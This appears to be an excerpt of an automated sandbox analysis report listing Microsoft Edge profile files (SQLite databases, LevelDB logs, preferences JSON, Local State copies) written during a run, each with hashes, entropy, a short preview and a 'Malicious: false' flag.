SSDEEP:	6:HGX9DM+q2PN723oH+TcwtpIFUt8YGX9gZmw+YGX9DMVkwON723oH+Tcwta/WLJ:MQ+vVaYebmFUt8vg/+vQV5OaYebaUJ
MD5:	6B1A9D1E7C8E6E9C11CBBF9348F5FCFA
SHA1:	B46D9BE2C6DF8724B0323663A230EDBEE36FCF30
SHA-256:	F42C5BD47E2DE1EDA4DC2CF25F04B6BF691C18508F36DF25D1E45362140237B6
SHA-512:	3F51D1270B6E9EB7884336A82ABF87F0C025809B4A7CEF0BDAE0E225B49829D074A91239A1C667C7F7A9709A5254B50F55732A2DA62D5691A0F32E58D8C809F8
Malicious:	false
Preview:	2024/11/23-15:59:29.488 31c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/23-15:59:29.488 31c Recovering log #3.2024/11/23-15:59:29.488 31c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676534811243878
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMZSA1LyKOMq+8iP5GDHP/0jMVumt8:Kq+n0JZ91LyKOMq+8iP5GLP/0P
MD5:	2DADD23A65C197531E5E365C1E24F8F3
SHA1:	E16C8C91DACB66FAEB2246C6FE2FDEDBC46C0818
SHA-256:	7BBC57BAB15DDF704265B286AA5D2D3DDFA6ECB7190BD4C2B1597DC026957666
SHA-512:	622332077491FFBD6555D4EC10B1F433A53A95588573A693B8BE6166CCCD53DCDFBB4D12B1CEDA9C84D8886672CD3A8741E12B00BE852EFE0F6B57A4E0573635
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4661209223970913
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBTrb:v7doKsKuKZKlZNmu46yjxTX
MD5:	B4C76A3D7EAB90AF8D0FDF57A4F40E1F
SHA1:	F214E00D9B7C58E9CE70057653A437B5B81880C9
SHA-256:	8BAAD07F5F4EC8AF200BAE33D5344EC1262DDC2E84BCF6F07A853FD5E560802A
SHA-512:	E35AFCBD9A9E2E4F6690223C06E8A4DCA885DB27891AC3FAC88B081A6E04C8DBDB45E4EE5FEE75FB4F67F97EE2D3664878EE53584714DBAF36930C13940E8D20
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a06c1dec-08a8-4227-a5b1-81a5b95f4f16.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13543
Entropy (8bit):	5.278835027802449
Encrypted:	false
SSDEEP:	192:stYJ99QTryDiuabatSuyppsssmaFvrEU6rkSRE8obV+FGhQAfUGPsYJ:stYPGQSu4psssmCD56kbGEQD6
MD5:	437C151F0793C03A15E8A9422885C60E
SHA1:	FBB6C2FFF5237EA685E422687DD89E699586C5CD
SHA-256:	2A7829665F99400549D4DA1CD7B782A243225304D24431026B9335426CE727D3
SHA-512:	BDBE21ACBB44765AEF050DDB550C0123ACC7D85B74869280044E4DFB9CC4FCE402A7CC84D89D7268BDA9DEA75C97F194772C3CB37E8FB67497F5C6C9F0FDA455
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376869169924664","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e2c299db-6d37-4b01-a3b8-4c1e45232b03.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13708
Entropy (8bit):	5.276679213235758
Encrypted:	false
SSDEEP:	192:stYJ99QTryDiuabatSuyppsssmaFvrEU6rkSRE8obV+FGhQAr3GPsYJ:stYPGQSu4psssmCD56kbGEQw36
MD5:	D108EDD6379356FC94051F9D292FA3B0
SHA1:	A1BD6A029542E1A53377270D61EE35B71D6C5A5F
SHA-256:	973D246A823991F3946E3C20BFC4D567B156D7E0748935E407BD9E035D563DD0
SHA-512:	70F09BC440A7B779D2ADCA1C5835B25C6DE6483369EFE5E39B653CD02B322DD3B33FF0AFB034B49F2859BFD11EB03FCDF0A3D09D6BFE224053B1F51C530CACF3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376869169924664","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ed14a95b-1511-43ab-8284-1c5b2dda97d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.05353891878669183
Encrypted:	false
SSDEEP:	6:GtStutzAtStutz4R9XCChslotGLNl0ml/Vl/XoQXEl:MtytsLpEjVl/PvoQ
MD5:	15CA966CFCF42EE3987C608D823CE283
SHA1:	7482F9096C49AD44E0D104B145862D37A68FDB66
SHA-256:	8732073AD2062077D10058719C164A9A9248244FD73C648A3BD8730559085FA3
SHA-512:	3973A7D8A3965E15EE107F6482092AA528E1B0317E6323858DDB45C722CC80F8160A340DD683C59DE11D7E55B4BD009A2AC5653EB746DECBB2990A843603CD4A
Malicious:	false
Preview:	..-......................N.L....$J...V.......Q....-......................N.L....$J...V.......Q..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	86552
Entropy (8bit):	0.8702968859507039
Encrypted:	false
SSDEEP:	48:eqzxjlO+H1qcbX+En9VAKAFXX+pRw2VAKAFXX+6xOqVAKAFXX+GnUYVAKAFXX+au:e6xLV0xNs/cNswO5NshNsaFEtt
MD5:	DD855DD8F09EC8F7C492D9F7BBE6BBD8
SHA1:	29ED326950C1021E69595DC2A18B232AF93F389D
SHA-256:	E5217F10FA864A54C91C2D798EE94A750AECA46EA7498B741282B45E5271B8B4
SHA-512:	A27AF2C03E05187264231862D2852C912833B7105F6664C4AAA00693AEDD0055A2BA4F9A66069E2B928F686D9108E5EB1582830AF2BA5D03B00EF6561C66C59B
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5670388207589068
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuyllUrllO8S:pHay/lI/W
MD5:	86DB311C7509A2BA766AD6718E107490
SHA1:	E1DA34EDDAE5D387C44091037C5561AE275D199E
SHA-256:	019CE592B83919FA608513746A5F87C0B61A164C5CBDF459FD6F83923E788C47
SHA-512:	A5BBB84C9F3D2803D014287B1E3F99F48306F42635D2F52DE786D26F3426176CAEA92D1A57913A11CAEF4E7051E67B3AA1F78DD2B047268125DAB20A7DD217C4
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................tx.;...............#38_h.......6.Z..W.F.....R.7.....R.7..........V.e................V.e................V.e................==?.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.259481246742878
Encrypted:	false
SSDEEP:	6:HGQXFq2PN723oH+TcwtfrK+IFUt8YGl8ZZmw+YGl8zkwON723oH+TcwtfrUeLJ:R1vVaYeb23FUt878Z/+78z5OaYeb3J
MD5:	0A3C532840A846BCC09E9F62C12EA3E3
SHA1:	90A51EF6B9091FEBCF07FE9E34749B4EB6D73A55
SHA-256:	F54630D0850A016C57D3C982E0176F00FC61B4C824C30E345A0CB1A7ACC8B172
SHA-512:	7919D94EA9B9DB45CBB1730C00A4674A6FFA3BB85D5FCCFD43C2676E1AD6CAB36EDC307AE7D5940DDBD96CCE1E54B13505CCED438CFCA24A2F3E0F9C6390D5DC
Malicious:	false
Preview:	2024/11/23-15:59:29.957 23b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/23-15:59:29.958 23b4 Recovering log #3.2024/11/23-15:59:29.958 23b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.259481246742878
Encrypted:	false
SSDEEP:	6:HGQXFq2PN723oH+TcwtfrK+IFUt8YGl8ZZmw+YGl8zkwON723oH+TcwtfrUeLJ:R1vVaYeb23FUt878Z/+78z5OaYeb3J
MD5:	0A3C532840A846BCC09E9F62C12EA3E3
SHA1:	90A51EF6B9091FEBCF07FE9E34749B4EB6D73A55
SHA-256:	F54630D0850A016C57D3C982E0176F00FC61B4C824C30E345A0CB1A7ACC8B172
SHA-512:	7919D94EA9B9DB45CBB1730C00A4674A6FFA3BB85D5FCCFD43C2676E1AD6CAB36EDC307AE7D5940DDBD96CCE1E54B13505CCED438CFCA24A2F3E0F9C6390D5DC
Malicious:	false
Preview:	2024/11/23-15:59:29.957 23b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/23-15:59:29.958 23b4 Recovering log #3.2024/11/23-15:59:29.958 23b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.209762907780512
Encrypted:	false
SSDEEP:	6:HGQWDIq2PN723oH+TcwtfrzAdIFUt8YGvQZmw+YGvYkwON723oH+TcwtfrzILJ:fWsvVaYeb9FUt8C/+u5OaYeb2J
MD5:	7D52956B94AEE887B0616A989BEAA8CD
SHA1:	8FBA5DF8F1B8B743B9D89D45F281718EA915BE22
SHA-256:	01959BB88F1FA55C89028B34B601E5F9AC94603372ABFE0B895AB9781190D0F6
SHA-512:	3DB69CC3D8B96BF1B53390D5402F29ECB9A8D4EB17A21AE19190CDC2218A7FF3E2C11AE0C457D4B138005CD8215049E2C4013A1F5BEE6B8CFA55AA197B0B478F
Malicious:	false
Preview:	2024/11/23-15:59:29.933 23b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/23-15:59:29.934 23b4 Recovering log #3.2024/11/23-15:59:29.934 23b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.209762907780512
Encrypted:	false
SSDEEP:	6:HGQWDIq2PN723oH+TcwtfrzAdIFUt8YGvQZmw+YGvYkwON723oH+TcwtfrzILJ:fWsvVaYeb9FUt8C/+u5OaYeb2J
MD5:	7D52956B94AEE887B0616A989BEAA8CD
SHA1:	8FBA5DF8F1B8B743B9D89D45F281718EA915BE22
SHA-256:	01959BB88F1FA55C89028B34B601E5F9AC94603372ABFE0B895AB9781190D0F6
SHA-512:	3DB69CC3D8B96BF1B53390D5402F29ECB9A8D4EB17A21AE19190CDC2218A7FF3E2C11AE0C457D4B138005CD8215049E2C4013A1F5BEE6B8CFA55AA197B0B478F
Malicious:	false
Preview:	2024/11/23-15:59:29.933 23b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/23-15:59:29.934 23b4 Recovering log #3.2024/11/23-15:59:29.934 23b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089811515042928
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWFdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn7+kzItSmd6qE7lFoC
MD5:	5DFDBE0FDD4C96916A171816A7C441FD
SHA1:	060879674ED57B5158B712E9C90147D8BFAC6A7A
SHA-256:	356C676F28BA418F25248CCE245C2D825A56123D758CE3957A65E0FA168389D6
SHA-512:	75FC94161E90ED65AFB5B3D288CCD50B1C71008CB1E8D1A6523A28C4062505B8CC923445A1ECD50F09F0AC41E3C3E8399C9C7CDAA08925A5D8B8E4E9C8E045FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a0a6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089811515042928
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWFdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn7+kzItSmd6qE7lFoC
MD5:	5DFDBE0FDD4C96916A171816A7C441FD
SHA1:	060879674ED57B5158B712E9C90147D8BFAC6A7A
SHA-256:	356C676F28BA418F25248CCE245C2D825A56123D758CE3957A65E0FA168389D6
SHA-512:	75FC94161E90ED65AFB5B3D288CCD50B1C71008CB1E8D1A6523A28C4062505B8CC923445A1ECD50F09F0AC41E3C3E8399C9C7CDAA08925A5D8B8E4E9C8E045FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a0b6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089811515042928
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWFdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn7+kzItSmd6qE7lFoC
MD5:	5DFDBE0FDD4C96916A171816A7C441FD
SHA1:	060879674ED57B5158B712E9C90147D8BFAC6A7A
SHA-256:	356C676F28BA418F25248CCE245C2D825A56123D758CE3957A65E0FA168389D6
SHA-512:	75FC94161E90ED65AFB5B3D288CCD50B1C71008CB1E8D1A6523A28C4062505B8CC923445A1ECD50F09F0AC41E3C3E8399C9C7CDAA08925A5D8B8E4E9C8E045FE
Malicious:	false
